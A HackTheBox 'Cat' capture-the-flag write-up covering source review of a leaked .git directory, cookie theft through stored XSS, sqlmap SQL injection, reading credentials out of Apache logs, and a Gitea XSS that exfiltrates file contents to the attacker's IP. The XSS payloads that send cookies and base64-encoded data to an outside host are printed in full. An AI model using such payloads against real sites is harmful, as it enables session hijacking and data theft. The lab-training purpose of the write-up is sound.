Post

HackTheBox - Cat


Cat from HackTheBox start with a source code review where we find an XSS that we exploit to get the admin’s cookie followed by sql injection to get credentials to the box. We find another user’s creds on apache logs. And for root we exploit another XSS on gitea to get the root’s password.

Enumeration

nmap

We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.53
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found two open port. The domain name for the website on port 80 is cat.htb. Let’s add it to /etc/hosts file.

Web

Let’s navigate to the website.

web

This is some sort of a cat competition. I’ll register a user first.

reg

After logging in successfully, going to contest page we find an upload form.

upload

I tried uploading a php web shell but that failed because there is a filter only allowing images.

I tried uploading another shell with the extension .png a PNG MIME type and managed to upload it successfully.

uploadsucc

Now we need to now where the file goes.

Let’s run a directory scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cat.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       41l       83w     1242c http://cat.htb/vote.php
200      GET      127l      270w     2900c http://cat.htb/css/styles.css
200      GET      196l      415w     5082c http://cat.htb/winners.php
302      GET        1l        0w        1c http://cat.htb/contest.php => http://cat.htb/join.php
301      GET        9l       28w      301c http://cat.htb/.git => http://cat.htb/.git/
200      GET      140l      327w     4004c http://cat.htb/join.php
200      GET      129l      285w     3075c http://cat.htb/
301      GET        9l       28w      300c http://cat.htb/css => http://cat.htb/css/
301      GET        9l       28w      300c http://cat.htb/img => http://cat.htb/img/
301      GET        9l       28w      304c http://cat.htb/uploads => http://cat.htb/uploads/
301      GET        9l       28w      304c http://cat.htb/winners => http://cat.htb/winners/
[####################] - 54s    20488/20488   0s      found:11      errors:0      
[####################] - 54s    20477/20477   382/s   http://cat.htb/        

We find an uploads/ page but when we visit it, it gives a 403 forbidden. I tried givin the same name of the file but didn’t succeed.

Another interesting directory we find is .git. Let’s put it to our box.

1
git-dumper http://cat.htb/.git git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 3:03]-[~/ctf/htb/cat/git]
└──╼[★]$ ls -la
total 56
drwxr-xr-x 1 sirius sirius  288 Jul  5 03:03 .
drwxr-xr-x 1 sirius sirius   78 Jul  5 03:03 ..
-rwxr-xr-x 1 sirius sirius  893 Jul  5 03:03 accept_cat.php
-rwxr-xr-x 1 sirius sirius 4496 Jul  5 03:03 admin.php
-rwxr-xr-x 1 sirius sirius  277 Jul  5 03:03 config.php
-rwxr-xr-x 1 sirius sirius 6676 Jul  5 03:03 contest.php
drwxr-xr-x 1 sirius sirius   20 Jul  5 03:03 css
-rwxr-xr-x 1 sirius sirius 1136 Jul  5 03:03 delete_cat.php
drwxr-xr-x 1 sirius sirius  128 Jul  5 03:03 .git
drwxr-xr-x 1 sirius sirius   50 Jul  5 03:03 img
drwxr-xr-x 1 sirius sirius   50 Jul  5 03:03 img_winners
-rwxr-xr-x 1 sirius sirius 3509 Jul  5 03:03 index.php
-rwxr-xr-x 1 sirius sirius 5891 Jul  5 03:03 join.php
-rwxr-xr-x 1 sirius sirius   79 Jul  5 03:03 logout.php
-rwxr-xr-x 1 sirius sirius 2725 Jul  5 03:03 view_cat.php
-rwxr-xr-x 1 sirius sirius 1676 Jul  5 03:03 vote.php
drwxr-xr-x 1 sirius sirius   60 Jul  5 03:03 winners
-rwxr-xr-x 1 sirius sirius 3374 Jul  5 03:03 winners.php

We got the source code of the website here.

I’ll check contest first.

1
2
3
4
5
6
// Generate unique identifier for the image
        $imageIdentifier = uniqid() . "_";

        // Upload cat photo
        $target_dir = "uploads/";
        $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);

In these lines we see that a uniq id is created and added to the file name which is why we couldn’t access our file in the uploads directory earlier.

1
2
3
4
5
6
7
8
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";

When submitting a new cat, the backend checks for any forbidden characters in the submitted data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";

After all the checks been passed, the cat_name, age, birthdate, weight, photo_path and owner_username and inserted into the database and waiting for the admin to inspect the cat.

In admin.php we get the following

1
2
3
<button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
<button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>

To view a cat, a request is made to view_cat.php?cat_id=. Let’s check that file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
[SNIP]
<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>

Here we see that all the data is displayed back for that admin to inspect.

All of the returned data is being filtered before inserted to the database, except owner.

1
2
$stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
$stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);

Here is a possibility for a stored XSS.

XSS

Let’s register a user with an xss payload as a username.

1
<script>document.location='http://10.10.16.4/='+document.cookie;</script>

xss

Now I’ll go to contest and submit another cat then I’ll start an http server to see if I can catch anything.

1
2
3
4
5
6
7
8
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 3:31]-[~/ctf/htb/cat/git]
└──╼[★]$ www
[sudo] password for sirius: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [05/Jul/2025 03:46:37] code 404, message File not found
10.10.11.53 - - [05/Jul/2025 03:46:37] "GET /=PHPSESSID=78jhhe181o19mscvtff6g1p71r HTTP/1.1" 404 -
10.10.11.53 - - [05/Jul/2025 03:46:38] code 404, message File not found
10.10.11.53 - - [05/Jul/2025 03:46:38] "GET /favicon.ico HTTP/1.1" 404 -

We got back a cookie!

I’ll change my current cookie to the one we just got and refresh the page.

admin

We got access as admin!

Foothold

SQLi

Back to source code review, on accept_cat.php we find the following line

1
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";

Here we see that cat_name is passed directly to the sql query without any sanitization. This is a possible sql injection.

I intercepted a request on burp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://cat.htb/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://cat.htb
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=ve9rtt5n7f4vmkv5lkfu473qba
Priority: u=0

catName=sirius&catId=1

Now I’ll save this to a file and give it to sqlmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 4:36]-[~/ctf/htb/cat/git]                                                                                                                 [39/1569]
└──╼[★]$ sqlmap -r accept.req -p catName --risk 3 --level 5 --batch --dbms=sqlite --technique=B -T users -C username,password --dump --threads 5                                              
                                                                                                                                                                                              
        ___                                                                                                                                                                                   
       __H__                                                                                                                                                                                  
 ___ ___["]_____ ___ ___  {1.8.12#stable}                                                      
|_ -| . [(]     | .'| . |                                                                                                                                                                     
|___|_  [']_|_|_|__,|  _|      
      |_|V...       |_|   https://sqlmap.org                                                   
                                               
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
 Developers assume no liability and are not responsible for any misuse or damage caused by this program
                                               
[*] starting @ 04:36:41 /2025-07-05/        
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---                            
Parameter: catName (POST)                                                                      
    Type: boolean-based blind                                                                  
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName=sirius'||(SELECT CHAR(70,65,113,117) WHERE 9221=9221 AND 2417=2417)||'&catId=1
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[04:37:37] [INFO] fetching entries of column(s) 'password,username' for table 'users'
[04:37:37] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'SQLite_masterdb'
[04:37:37] [INFO] retrieved: 11
[04:37:44] [INFO] retrieving the length of query output
[04:37:44] [INFO] retrieved: 32
[04:38:24] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f             
[04:38:24] [INFO] retrieving the length of query output
[04:38:24] [INFO] retrieved: 4
[04:38:32] [INFO] retrieved: axel           
[04:38:32] [INFO] retrieving the length of query output
[04:38:32] [INFO] retrieved: 32
[04:39:04] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c 
[04:39:04] [INFO] retrieving the length of query output                   
[04:39:04] [INFO] retrieved: 4                                                                 
[04:39:12] [INFO] retrieved: rosa 

We got usernames and password for multiple users.

The username axel came up a lot when I was viewing the source code so I’ll try cracking their hash first.

That failed, I’ll try rosa’s hash next next

cracl

We got the password soyunaprincesarosa, let’s ssh to the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-05 4:44]-[~/ctf/htb/cat/git]
└──╼[★]$ ssh rosa@cat.htb      
rosa@cat.htb's password:                                                                       
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Sep 28 15:44:52 2024 from 192.168.1.64
rosa@cat:~$ sudo -l
[sudo] password for rosa: 
Sorry, user rosa may not run sudo on cat.
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

Privilege Escalation

rosa -> axel

We see that user rosa is part of adm group. This group is known to have the ability to read logs.

Back to the website, I noticed that when registering a user and when logging in the request is sent through a get request.

get

All request made to the apache server are logged inside /var/log/apache2/access.log file.

If we we do a simple head to that file we get the following.

1
2
3
4
5
6
osa@cat:/var/log/apache2$ head access.log
127.0.0.1 - - [03/Jul/2025:18:27:20 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [03/Jul/2025:18:27:20 +0000] "GET /css/styles.css HTTP/1.1" 200 1155 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [03/Jul/2025:18:27:20 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [03/Jul/2025:18:27:21 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

We got axel’s password aNdZwgC4tI9gnVXv_e3Q.

axel -> root

Searching for file belonging to user axel I found /var/mail/axel. The following email looks interesting.

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

There is a website on port 3000 running locally.

Jobert also sent this message.

1
2
3
4
5
6
Hi Axel,                                                                                       
                                               
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository
. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

Let’s forward the port 3000 to our machine.

1
ssh axel@cat.htb -L 3000:127.0.0.1:3000

git

It’s a gitea instance.

Logging in as rosa we find it’s version 1.22.0.

A quick search on google we find that this version vulnerable to stored xss in the description field CVE-2024-6886.

Jobert told us that he would look at the description. Let’s create a repo and put another xss payload there

1
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r => r.text()).then(data => fetch('http://10.10.16.4/?exfil=' + btoa(data)));">HACK!</a>

On our http server we’ll receive the base64 encode of index.php, after decoding it we get the root’s password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

Now we can ssh as root

1
2
3
ssh root@cat.htb
root@cat.htb's password:
root@cat:~# 

References

https://www.exploit-db.com/exploits/52077


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.